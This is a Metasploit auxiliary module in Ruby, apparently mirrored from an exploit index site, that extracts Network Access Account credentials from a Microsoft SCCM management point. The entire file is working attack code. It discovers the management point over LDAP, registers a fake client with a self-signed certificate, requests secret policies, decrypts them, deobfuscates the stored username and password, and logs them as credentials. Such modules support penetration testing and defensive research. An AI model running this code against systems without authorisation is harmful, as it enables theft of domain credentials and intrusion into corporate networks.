Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-SCCM-GET_NAA_CREDENTIALS-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'time'
require 'nokogiri'
require 'rasn1'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::LDAP
  include Msf::OptionalSession::LDAP

  KEY_SIZE = 2048
  SECRET_POLICY_FLAG = 4

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Get NAA Credentials',
        'Description' => %q{
          This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.
          This requires a computer account, which can be added using the samr_account module.
        },
        'Author' => [
          'xpn',     # Initial research
          'skelsec', # Initial obfuscation port
          'smashery' # module author
        ],
        'References' => [
          ['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'],
          ['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'],
          ['URL', 'https://github.com/Mayyhem/SharpSCCM'],
          ['URL', 'https://github.com/garrettfoster13/sccmhunter']
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [CONFIG_CHANGES],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]),
      OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]),
      OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]),
      OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]),
      OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]),
      OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]),
      OptInt.new('TIMEOUT', [ true, 'Number of seconds to wait for SCCM DB to update', 10 ]),
    ])

    @session_or_rhost_required = false
  end

  def find_management_point
    ldap_connect do |ldap|
      validate_bind_success!(ldap)

      if (@base_dn = datastore['BASE_DN'])
        print_status("User-specified base DN: #{@base_dn}")
      else
        print_status('Discovering base DN automatically')

        if (@base_dn = ldap.base_dn)
          print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
        else
          fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
        end
      end
      raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*'])
      return nil unless raw_objects.any?

      raw_obj = raw_objects.first

      raw_objects.each do |ro|
        print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})")
      end

      if raw_objects.length > 1
        print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})")
      end

      obj = {}
      obj[:rhost] = raw_obj[:dnshostname].first
      obj[:sitecode] = raw_obj[:mssmssitecode].first

      obj
    rescue Errno::ECONNRESET
      fail_with(Failure::Disconnected, 'The connection was reset.')
    rescue Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
      fail_with(Failure::NoAccess, e.message)
    rescue Net::LDAP::Error => e
      fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
    end
  end

  def run
    management_point = datastore['MANAGEMENT_POINT']
    site_code = datastore['SITE_CODE']
    if management_point.blank? != site_code.blank?
      fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)')
    end

    if management_point.blank?
      begin
        result = find_management_point
        fail_with(Failure::NotFound, 'Failed to find management point') unless result
        management_point = result[:rhost]
        site_code = result[:site_code]
      rescue ::IOError => e
        fail_with(Failure::UnexpectedReply, e.message)
      end
    end

    key, cert = generate_key_and_cert('ConfigMgr Client')

    http_opts = {
      'rhost' => management_point,
      'rport' => 80,
      'username' => datastore['COMPUTER_USER'],
      'password' => datastore['COMPUTER_PASS'],
      'headers' => {
        'User-Agent' => 'ConfigMgr Messaging HTTP Sender',
        'Accept-Encoding' => 'gzip, deflate',
        'Accept' => '*/*'
      }
    }

    sms_id, ip_address = register_request(http_opts, management_point, key, cert)
    print_status("Waiting #{datastore['TIMEOUT']} seconds for SCCM DB to update...")

    sleep(datastore['TIMEOUT'])

    secret_urls = get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)
    all_results = Set.new
    secret_urls.each do |url|
      decrypted_policy = request_policy(http_opts, url, sms_id, key)
      results = get_creds_from_policy_doc(decrypted_policy)
      all_results.merge(results)
    end

    if all_results.empty?
      print_status('No NAA credentials configured')
    end

    all_results.each do |username, password|
      report_creds(ip_address, username, password)
      print_good("Found valid NAA credentials: #{username}:#{password}")
    end
  rescue SocketError => e
    fail_with(Failure::Unreachable, e.message)
  end

  # Request the policy from the policy_url
  def request_policy(http_opts, policy_url, sms_id, key)
    policy_url.gsub!(%r{^https?://<mp>}, '')
    policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D')

    now = Time.now.utc.iso8601
    client_token = "GUID:#{sms_id};#{now};2"
    client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*'))

    opts = http_opts.merge({
      'uri' => policy_url,
      'method' => 'GET'
    })
    opts['headers'] = opts['headers'].merge({
      'ClientToken' => client_token,
      'ClientTokenSignature' => client_signature
    })

    http_response = send_request_cgi(opts)
    http_response.gzip_decode!

    ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body)
    cms_envelope = ci.enveloped_data

    ri = cms_envelope[:recipient_infos]
    if ri.value.empty?
      fail_with(Failure::UnexpectedReply, 'No recipient infos provided')
    end

    if ri[0][:ktri].nil?
      fail_with(Failure::UnexpectedReply, 'KeyTransRecipientInfo not found')
    end

    body = cms_envelope[:encrypted_content_info][:encrypted_content].value

    key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value
    encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value
    if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value
      decrypted_key = key.private_decrypt(encrypted_rsa_key)
    elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value
      decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)
    else
      fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}")
    end

    cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm]
    algorithms = {
      Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' },
      Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' }
    }
    if algorithms.include?(cea[:algorithm].value)
      alg_hash = algorithms[cea[:algorithm].value]
      if decrypted_key.length != alg_hash[:key_length]
        fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}")
      end
      iv = RASN1::Types::OctetString.new
      iv.parse!(cea[:parameters].value)
      if iv.value.length != alg_hash[:iv_length]
        fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}")
      end
      cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name])
      cipher.decrypt
      cipher.key = decrypted_key
      cipher.iv = iv.value

      decrypted = cipher.update(body) + cipher.final
    else
      fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}")
    end

    decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00")
  end

  # Retrieve all the policies with secret components in them
  def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)
    computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
    fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
    hex_pub_key = make_ms_pubkey(cert.public_key)
    guid = SecureRandom.uuid.upcase
    sent_time = Time.now.utc.iso8601
    sccm_host = management_point.downcase
    request_assignments = "<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:#{sms_id}</ClientID><FQDN>#{fqdn}</FQDN><NetBIOSName>#{computer_user}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:#{site_code}</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\x00"
    request_assignments.encode!('utf-16le')
    body_length = request_assignments.bytes.length
    request_assignments = request_assignments.bytes.pack('C*') + "\r\n"
    compressed = Rex::Text.zlib_deflate(request_assignments)

    payload_signature = rsa_sign(key, compressed)

    client_id = "GUID:{#{sms_id.upcase}}\x00"
    client_ids_signature = rsa_sign(key, client_id.encode('utf-16le'))
    header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">#{computer_user}</Property><Property Name=\"PublicKey\">#{hex_pub_key}</Property><Property Name=\"ClientIDSignature\">#{client_ids_signature}</Property><Property Name=\"PayloadSignature\">#{payload_signature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{#{guid}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceID>GUID:#{sms_id}</SourceID><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>#{sccm_host}</TargetHost><Timeout>60000</Timeout></Msg>"

    message = Rex::MIME::Message.new
    message.bound = 'aAbBcCdDv1234567890VxXyYzZ'

    message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
    message.add_part(compressed, 'application/octet-stream', 'binary')
    opts = http_opts.merge({
      'uri' => '/ccm_system/request',
      'method' => 'CCM_POST',
      'data' => message.to_s
    })
    opts['headers'] = opts['headers'].merge({
      'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
    })
    http_response = send_request_cgi(opts)
    response = Rex::MIME::Message.new(http_response.to_s)

    fail_with(Failure::UnexpectedReply, 'No content received in request for policies, try increasing TIMEOUT or rerunning the module.') unless response.parts[1]&.content
    compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
    xml_doc = Nokogiri::XML(compressed_response.encode('utf-8'))
    policies = xml_doc.xpath('//Policy')
    secret_policies = policies.select do |policy|
      flags = policy.attributes['PolicyFlags']
      next if flags.nil?

      flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG
    end

    urls = secret_policies.map do |policy|
      policy.xpath('PolicyLocation/text()').text
    end

    urls = urls.reject(&:blank?)

    urls.each do |url|
      print_status("Found policy containing secrets: #{url}")
    end

    urls
  end

  # Sign the data using the RSA key, and reverse it (strange, but it's what's required)
  def rsa_sign(key, data)
    signature = key.sign(OpenSSL::Digest.new('SHA256'), data)
    signature.reverse!

    signature.unpack('H*')[0].upcase
  end

  # Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb)
  def make_ms_pubkey(pub_key)
    result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31"
    result += [KEY_SIZE, pub_key.e].pack('II')
    result += [pub_key.n.to_s(16)].pack('H*')

    result.unpack('H*')[0]
  end

  # Make a request to the SCCM server to register our computer
  def register_request(http_opts, management_point, key, cert)
    pub_key = cert.to_der.unpack('H*')[0].upcase

    computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
    fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
    sent_time = Time.now.utc.iso8601
    registration_request_data = "<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"#{sent_time}\"><AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" /><Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Signing></Certificates><DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"#{computer_user}\" /><Property Name=\"FQ Name\" Value=\"#{fqdn}\" /><Property Name=\"Locale ID\" Value=\"1033\" /><Property Name=\"InternetFlag\" Value=\"0\" /></DiscoveryProperties></Data>"

    signature = rsa_sign(key, registration_request_data.encode('utf-16le'))

    registration_request = "<ClientRegistrationRequest>#{registration_request_data}<Signature><SignatureValue>#{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00"

    rr_utf16 = ''
    rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*')
    body_length = rr_utf16.length
    rr_utf16 << "\r\n"

    header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{5DD100CD-DF1D-45F5-BA17-A327F43465F8}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>#{management_point.downcase}</TargetHost><Timeout>60000</Timeout></Msg>"

    message = Rex::MIME::Message.new
    message.bound = 'aAbBcCdDv1234567890VxXyYzZ'

    message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
    message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary')

    opts = http_opts.merge({
      'uri' => '/ccm_system_windowsauth/request',
      'method' => 'CCM_POST',
      'data' => message.to_s
    })
    opts['headers'] = opts['headers'].merge({
      'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
    })
    http_response = send_request_cgi(opts)
    if http_response.nil?
      fail_with(Failure::Unreachable, 'No response from server')
    end
    ip_address = http_response.peerinfo['addr']
    response = Rex::MIME::Message.new(http_response.to_s)
    if response.parts.empty?
      html_doc = Nokogiri::HTML(http_response.to_s)
      error = html_doc.xpath('//title').text
      if error.blank?
        error = 'Bad response from server'
        dlog('Response from server:')
        dlog(http_response.to_s)
      end
      fail_with(Failure::UnexpectedReply, error)
    end

    response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF")
    compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
    xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings
    sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:')
    if sms_id.nil?
      approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value
      if approval == '-1'
        fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server')
      end
      fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID')
    end
    print_status("Got SMS ID: #{sms_id}")

    [sms_id, ip_address]
  end

  # Extract obfuscated credentials from the resulting policy XML document
  def get_creds_from_policy_doc(policy)
    xml_doc = Nokogiri::XML(policy)
    naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']")
    results = []
    naa_sections.each do |section|
      username = section.xpath("property[@name='NetworkAccessUsername']/value").text
      username = deobfuscate_policy_value(username)
      username.delete_suffix!("\x00")

      password = section.xpath("property[@name='NetworkAccessPassword']/value").text
      password = deobfuscate_policy_value(password)
      password.delete_suffix!("\x00")

      unless username.blank? && password.blank?
        # Deleted credentials seem to result in just an empty value for username and password
        results.append([username, password])
      end
    end
    results
  end

  def deobfuscate_policy_value(value)
    value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*')
    data_length = value[52..55].unpack('I')[0]
    buffer = value[64..64 + data_length - 1]
    key = mscrypt_derive_key_sha1(value[4..43])
    iv = "\x00" * 8
    cipher = OpenSSL::Cipher.new('des-ede3-cbc')
    cipher.decrypt
    cipher.iv = iv
    cipher.key = key
    result = cipher.update(buffer) + cipher.final

    result.force_encoding('utf-16le').encode('utf-8')
  end

  def mscrypt_derive_key_sha1(secret)
    buf1 = [0x36] * 64
    buf2 = [0x5C] * 64

    digest = OpenSSL::Digest.new('SHA1')
    hash = digest.digest(secret).bytes

    hash.each_with_index do |byte, i|
      buf1[i] ^= byte
      buf2[i] ^= byte
    end

    buf1 = buf1.pack('C*')
    buf2 = buf2.pack('C*')

    digest = OpenSSL::Digest.new('SHA1')
    hash1 = digest.digest(buf1)

    digest = OpenSSL::Digest.new('SHA1')
    hash2 = digest.digest(buf2)

    hash1 + hash2[0..3]
  end

  ## Create a self-signed private key and certificate for our computer registration
  def generate_key_and_cert(subject)
    key = OpenSSL::PKey::RSA.new(KEY_SIZE)
    cert = OpenSSL::X509::Certificate.new
    cert.version = 2
    cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
    cert.public_key = key.public_key
    cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
    cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
    yr = 24 * 3600 * 365
    cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
    cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
    ef = OpenSSL::X509::ExtensionFactory.new
    ef.subject_certificate = cert
    ef.issuer_certificate = cert
    cert.extensions = [
      ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'),
      ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'),
    ]
    cert.sign(key, OpenSSL::Digest.new('SHA256'))

    [key, cert]
  end

  def report_creds(ip_address, user, password)
    service_data = {
      address: ip_address,
      port: rport,
      protocol: 'tcp',
      service_name: 'sccm',
      workspace_id: myworkspace_id
    }

    domain, account = user.split(/\\/)
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: account,
      private_data: password,
      private_type: :password,
      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
      realm_value: domain
    }
    credential_core = create_credential(credential_data.merge(service_data))

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }

    create_credential_login(login_data.merge(service_data))
  end
end